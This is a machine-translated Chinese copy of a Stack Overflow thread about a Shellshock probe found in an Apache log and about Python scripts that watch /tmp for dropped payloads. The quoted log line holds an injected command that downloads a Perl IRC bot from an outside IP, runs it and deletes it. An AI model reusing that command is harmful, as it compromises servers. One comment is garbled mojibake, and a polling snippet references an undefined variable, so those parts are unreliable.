一个用Python编写的脚本,用于监控目录中是否有新文件。

6

类似的问题已经被问过,但是它们要么对我没有用,要么我无法理解答案。

我运行 Apache2 Web 服务器并托管一些微不足道的个人网站。我正在遭受网络跟踪,或者有人试图黑入我的网站。

Apache2 访问日志显示:

195.154.80.205 - - [05/Nov/2015:09:57:09 +0000] "GET /info.cgi HTTP/1.1" 404 464 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\r\n\r\nXSUCCESS!\";system(\"wget http://190.186.76.252/cox.pl -O /tmp/cox.pl;curl -O /tmp/cox.pl http://190.186.76.252/cox.pl;perl /tmp/cox.pl;rm -rf /tmp/cox.pl*\");'"

这个人(在我的日志中一再尝试)明显想强制我的服务器下载'cox.pl',然后运行'cox.pl',最后删除'cox.pl'。

我真的想知道cox.pl里面是什么,它可能是Cox-Data-Usage的修改版本,在github上有。

我想要一个脚本,可以不断监视我的/tmp文件夹,当有新文件添加时,将该文件复制到另一个目录,以便我查看它正在做什么,或者至少试图做什么。

我知道我可以拒绝访问等等,但我想找出这些黑客试图做什么,并看看是否可以收集有关他们的情报。


1
您请求使用Python - 但是,您可能需要查看inotifywait。我认为您想要做的事情可以通过一个简短的命令行管道来完成。 - Brian
2
你很可能并没有被跟踪,只是服务器在一些脚本探测的地方列表中,以寻找已知漏洞。请参见https://packetstormsecurity.com/files/127428/D-Link-info.cgi-POST-Request-Buffer-Overflow.html - cox.pl是有效载荷,如果你受到漏洞的影响,它将运行。 - Neil Slater
3
@Matt JacobпјҢжүҖж¶үеҸҠзҡ„ж”»еҮ»дҫқиө–дәҺbashдёӯзҡ„дёҖдёӘдёҘйҮҚжјҸжҙһпјҢжІЎжңүдҪҝз”ЁevalгҖӮ - ikegami
5
关于“我真的想知道'cox.pl'里面是什么”,所以下载它。只是不要运行它。 - ikegami
2
你已经确保你的shell不容易受到Shellshock漏洞的攻击,这样你的服务器就不会在第一时间下载该文件了,对吧? - chepner
显示剩余15条评论
3个回答

1

这个脚本可以很容易地下载,它包含ShellBOT by: devil__,所以...可以猜测一下 ;-)

您可以使用tutorial_notifier.pypyinotify,但对于这种特殊情况并不需要。只需执行以下操作:

curl http://190.186.76.252/cox.pl -o cox.pl.txt
less cox.pl.txt

检查脚本。

它看起来是适用于Linux 2.4.17-2.6.17和可能的BSD*的一套不错的黑客工具,与IRC有关,对我来说并不无害。它与Cox-Data-Usage无关。


1

这个问题的解决方案不在于一个Python脚本,这更像是Fail2ban或类似工具要处理的安全问题,但是可以使用Python Watchdog来监视目录中的变化。(pip install watchdog)

引用自: https://pythonhosted.org/watchdog/quickstart.html#a-simple-example

import sys
import time
import logging
from watchdog.observers import Observer
from watchdog.events import LoggingEventHandler

if __name__ == "__main__":
    logging.basicConfig(level=logging.INFO,
                        format='%(asctime)s - %(message)s',
                        datefmt='%Y-%m-%d %H:%M:%S')
    path = sys.argv[1] if len(sys.argv) > 1 else '.'
    event_handler = LoggingEventHandler()
    observer = Observer()
    observer.schedule(event_handler, path, recursive=True)
    observer.start()
    try:
        while True:
            time.sleep(1)
    except KeyboardInterrupt:
        observer.stop()
    observer.join()

这将记录所有更改(可以配置为仅记录文件创建)。 如果您想将新文件重命名为其他名称,您首先需要知道文件是否空闲或任何修改将失败,即它尚未完成下载/创建。这个问题意味着在您以编程方式移动或重命名文件之前,调用该文件可能会出现。这就是为什么这不是一个解决方案的原因。


0

我得到了一些解决方案,

解决方案1(CPU使用率:27.9% 约等于30%):

path_to_watch = "your/path"
print('Your folder path is"',path,'"')
before = dict ([(f, None) for f in os.listdir (path_to_watch)])
while 1:
        after = dict ([(f, None) for f in os.listdir (path_to_watch)])
        added = [f for f in after if not f in before]
        if added:
                print("Added: ", ", ".join (added))
                break
        else:
             before = after

我已经编辑了代码,原始代码可在http://timgolden.me.uk/python/win32_how_do_i/watch_directory_for_changes.html找到。

原始代码是用Python 2x编写的,因此您需要将其转换为Python 3。

注意:

每当您在路径中添加任何文件时,它都会打印文本并停止运行,如果没有添加文件,则它将继续运行。

解决方案2(CPU使用率:23.4约=20%

    import os
path=r'C:\Users\Faraaz Anas Ammaar\Documents\Programming\Python\Eye-Daemon'
b=os.listdir(path)
path_len_org=len(b)
def file_check():
    while 1:
        b=os.listdir(path)
        path_len_final=len(b)
        if path_len_org<path_len_final:
            return "A file is added"    
        elif path_len_org>path_len_final:
            return "A file is removed"
        else:
            pass
file_check()

1
不太理想...那个 while 循环正在占用 100% 的 CPU 使用率。 - user1731782
那只是一个解决方案...在您的设备上进行优化可以从您这边完成,而Jamie并没有要求优化代码。无论如何,我有一个更优化的代码。 - Faraaz Kurawle

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接